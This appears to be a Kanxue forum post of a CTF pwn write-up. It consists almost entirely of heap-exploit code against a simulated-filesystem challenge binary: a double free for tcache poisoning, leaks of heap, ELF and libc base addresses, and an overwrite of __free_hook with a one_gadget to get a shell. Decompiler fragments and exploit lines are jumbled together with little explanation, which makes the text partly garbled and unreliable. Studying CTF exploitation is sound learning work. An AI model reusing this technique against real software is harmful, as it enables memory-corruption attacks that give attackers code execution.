本文为看雪论坛优秀文章
看雪论坛作者ID:xym
struct struc_Dir
{
int bIsFile;
int field_4;
struc_Dir *lpParent;
struc_Dir *SubDirList[16];
char *pDirName;
_BYTE *FileBuff;
int BuffLen;
int field_A4;
};
write(1, &asc_555555555FC4[4], 1uLL);
pwd();
write(1, "$ ", 2uLL);
echo("1" * 0xA8, "file")
cd("a")
rm('../file')
rm('../file')
v0 = strlen(sysbuf);
write(1, sysbuf, v0);
v0 = strlen(username);
write(1, username, v0);
mkdir("a")
touch("file")
touch("file2")
touch("file8")
touch("filea")
touch("fileb")
touch("filec")
echo("2" * 0xA8, "file8")
rm('home')
echo("1" * 0xA8, "file")
cd("a")
rm('../file')
rm('../file')
echo("\x58", "../file")
#
touch("file3")
mkdir("b")
echo("A" * 50, null)
ls(".")
echo("A" * (0x5000), null)
r.recvuntil("A" * 0x5000)
dst = u64(r.recv(8)) - 0x630a000000000000
heapbase = dst - 0x5460
print(hex(heapbase))
echo("1" * 0xA8, "../file2")
rm('../file2')
rm('../file2')
#
echo(p64(heapbase + 0x5260 - 8), "../file2")
cd("..")
touch("file4")
mkdir("file5")
echo("B" * (0x5000), null)
r.recvuntil("B" * 0x5000)
dst = u64(r.recv(6) + p16(0))
elfbase = dst - 0x60
print(hex(elfbase))
print(hex(heapbase))
cd("a")
rm('../file8')
rm('../file8')
echo(p64(heapbase + 0x2A0), "../file8") #0x00005555557582A0
touch("file8")
touch("file9")
echo("8" * 0x5000, "../filea")
echo("a" * 0xd8, "../fileb")
echo("a" * 0x25, "../filec")
rm('../fileb')
rm('../fileb')
rm('../fileb')
rm('../fileb')
rm('../fileb')
rm('../fileb')
rm('../fileb')
rm('../fileb')
echo(p64(heapbase + 0x5d10) + 'A' * 0x38 + p64(1) + p64(heapbase + 0x5460) + p64(0) * 0x10 + p64(heapbase + 0x5CD0) + p64(elfbase + 0x108) + p64(0x10000), "file9")
echo("c" * (0x5000), null)
r.recvuntil("c" * 0x5000)
dst = u64(r.recv(6) + p16(0))
libcbase = dst - 0x3EBCA0
print(hex(libcbase))
__free_hook = libcbase + 0x3ED8E8
echo(p64(__free_hook - 0x10), "file9")
one_gadget = libcbase + 0x4f322
echo('A' * 0x10 + p64(one_gadget), "../filea")
rm('../fileb')
mv '/lib/x86_64-linux-gnu/libc.so.6' '/lib/x86_64-linux-gnu/libc.so.6.old'&& cp /home/ctf/binary/libc.so.6 '/lib/x86_64-linux-gnu/libc.so.6'
cp: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
看雪ID:xym
https://bbs.pediy.com/user-home-105968.htm
# 往期推荐
4.PWN学习总结
球分享
球点赞
球在看
点击“阅读原文”,了解更多!